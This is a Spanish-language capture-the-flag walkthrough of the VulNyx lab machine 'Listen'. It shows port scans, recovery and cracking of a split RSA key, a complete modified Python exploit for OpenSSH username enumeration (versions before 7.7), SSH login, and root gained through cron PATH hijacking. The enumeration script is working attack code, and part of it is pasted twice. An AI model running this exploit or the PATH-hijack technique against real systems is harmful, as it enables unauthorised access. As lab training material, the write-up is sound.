VulNyx - Listen

logo

  • Brute Force Key Rsa - (RSAcrack)
  • Username Enumeration Exploit (OpenSSH 2.3 < 7.7)
  • Cron Path Hijacking - Privesc

Escaneo de puertos

❯ nmap -p- -T5 -n -v 192.168.1.115

PORT     STATE SERVICE
22/tcp   open  ssh
8000/tcp open  http-alt

Escaneo de servicios

❯ nmap -sVC -v -p 22,8000 192.168.1.115

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.7 (protocol 2.0)
| ssh-hostkey: 
|   2048 0c:3f:13:54:6e:6e:e6:56:d2:91:eb:ad:95:36:c6:8d (RSA)
|   256 9b:e6:8e:14:39:7a:17:a3:80:88:cd:77:2e:c3:3b:1a (ECDSA)
|_  256 85:5a:05:2a:4b:c0:b2:36:ea:8a:e2:8a:b2:ef:bc:df (ED25519)
8000/tcp open  http    SimpleHTTPServer 0.6 (Python 3.7.3)
|_http-title: Site doesn't have a title (text/html).
| http-methods: 
|_  Supported Methods: GET HEAD
|_http-server-header: SimpleHTTP/0.6 Python/3.7.3

HTTP TCP - 8000

http

Con Wireshark veo que la máquina víctima está generando tráfico.

wireshark

En el protocolo IPv4 encuentro un trozo de una llave rsa.

rsa1

En el protocolo DNS encuentro la otra parte.

rsa2

Junto ambas partes y me queda así.

rsaK

Uso RSAcrack para encontrar la llave de paso.

rsacrack

Hago una búsqueda en internet y encuentro este exploit.

opensshExploit

Lo descargo y lo modifico para que al encontrar un usuario válido se detenga, cosa que no hace el exploit original.

#!/usr/bin/env python3

import argparse
import paramiko
import logging
import socket
import sys
import os

class InvalidUsername(Exception):
    pass

# Malicious function to malform packet
def add_boolean(*args, **kwargs):
    pass

# Function that'll be overwritten to malform the packet
old_service_accept = paramiko.auth_handler.AuthHandler._client_handler_table[paramiko.common.MSG_SERVICE_ACCEPT]

# Malicious function to overwrite MSG_SERVICE_ACCEPT handler
def service_accept(*args, **kwargs):
    old_add_boolean = paramiko.message.Message.add_boolean
    paramiko.message.Message.add_boolean = add_boolean
    result = old_service_accept(*args, **kwargs)
    paramiko.message.Message.add_boolean = old_add_boolean
    return result

# Call when username was invalid 
def invalid_username(*args, **kwargs):
    raise InvalidUsername()

# Assign functions to respective handlers
paramiko.auth_handler.AuthHandler._client_handler_table[paramiko.common.MSG_SERVICE_ACCEPT] = service_accept
paramiko.auth_handler.AuthHandler._client_handler_table[paramiko.common.MSG_USERAUTH_FAILURE] = invalid_username

# Print valid users found out so far
def print_result(valid_users):
    if valid_users:
        print("Valid Users: ")
        for user in valid_users:
            print(user)
    else:
        print("No valid user detected.")

# Perform authentication with malicious packet and username
def check_user(username, valid_users):
    try:
        sock = socket.socket()
        sock.connect((args.target, int(args.port)))
        transport = paramiko.transport.Transport(sock)
        transport.start_client(timeout=0.5)

    except paramiko.ssh_exception.SSHException:
        print('[!] Failed to negotiate SSH transport')
        sys.exit(2)

    try:
        transport.auth_publickey(username, paramiko.RSAKey.generate(2048))
        print("[+] {} is a valid username".format(username))
        valid_users.append(username)
        print_result(valid_users)
        sys.exit(0)  # Salir después de encontrar un usuario válido
    except paramiko.ssh_exception.AuthenticationException:
        print("[-] {} is an invalid username".format(username))

class InvalidUsername(Exception):
    pass

def add_boolean(*args, **kwargs):
    pass

def service_accept(*args, **kwargs):
    old_add_boolean = paramiko.message.Message.add_boolean
    paramiko.message.Message.add_boolean = add_boolean
    result = old_service_accept(*args, **kwargs)
    paramiko.message.Message.add_boolean = old_add_boolean
    return result

def invalid_username(*args, **kwargs):
    raise InvalidUsername()

paramiko.auth_handler.AuthHandler._client_handler_table[paramiko.common.MSG_SERVICE_ACCEPT] = service_accept
paramiko.auth_handler.AuthHandler._client_handler_table[paramiko.common.MSG_USERAUTH_FAILURE] = invalid_username

logging.getLogger('paramiko.transport').addHandler(logging.NullHandler())

def check_user(username):
    try:
        sock = socket.socket()
        sock.connect((args.target, int(args.port)))
        transport = paramiko.transport.Transport(sock)
        transport.start_client(timeout=0.5)

    except paramiko.ssh_exception.SSHException:
        print('[!] Failed to negotiate SSH transport')
        sys.exit(2)

    try:
        transport.auth_publickey(username, paramiko.RSAKey.generate(2048))
        print("[+] {} is a valid username".format(username))
        sys.exit(0)
    except InvalidUsername:
        print("[-] {} is an invalid username".format(username))
    except paramiko.ssh_exception.AuthenticationException:
        print("[+] {} is a valid username".format(username))
        sys.exit(0)

def check_userlist(wordlist_path):
    if not os.path.isfile(wordlist_path):
        print("[-] {} is an invalid wordlist file".format(wordlist_path))
        sys.exit(2)

    with open(wordlist_path) as f:
        for line in f:
            username = line.rstrip()
            try:
                check_user(username)
            except KeyboardInterrupt:
                print("Enumeration aborted by user!")
                sys.exit(0)

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='SSH User Enumeration by Leap Security (@LeapSecurity)')
    parser.add_argument('target', help="IP address of the target system")
    parser.add_argument('-p', '--port', default=22, help="Set port of SSH service")
    parser.add_argument('-u', '--user', dest='username',  help="Username to check for validity.")
    parser.add_argument('-w', '--wordlist', dest='wordlist', help="username wordlist")

    if len(sys.argv) == 1:
        parser.print_help()
        sys.exit(1)

    args = parser.parse_args()

    if args.wordlist:
        check_userlist(args.wordlist)
        print("[-] No valid user detected.")
    elif args.username:
        check_user(args.username)
        print("[-] {} is not a valid user.".format(args.username))
    else:
        print("[-] Username or wordlist must be specified!\n")
        parser.print_help()
        sys.exit(1)

Lanzo el exploit y encuentro el usuario.

❯ python3 exploitMod.py 192.168.1.115 -w /usr/share/seclists/Usernames/Names/names.txt

user

Con todos estos datos me conecto al sistema.

❯ ssh abel@192.168.1.115 -i id_rsa
Enter passphrase for key 'id_rsa': 
abel@listen:~$ id
uid=1000(abel) gid=1000(abel) groups=1000(abel)
abel@listen:~$

Utilizo Linpeas para enumerar el sistema, encuentro una tarea cron donde el usuario root lanza cp para copiar index.html al directorio /tmp y se lanza desde una ruta relativa.

linpeas

Compruebo donde está ubicado el binario cp.

abel@listen:~$ whereis cp
cp: /usr/bin/cp /usr/share/man/man1/cp.1.gz

La ruta /dev/shm está antes que /usr/bin.

cronpath

Puedo obtener el root aprovechando el path de cron, al tener permisos completos en /dev/shm puedo crear un archivo malicioso con el nombre cp de esta forma cron encuentra primero mi archivo antes que el binario original.

cp

Después de unos segundos obtengo una shell de root.

root

Y aquí termina la máquina Listen.

Saludos!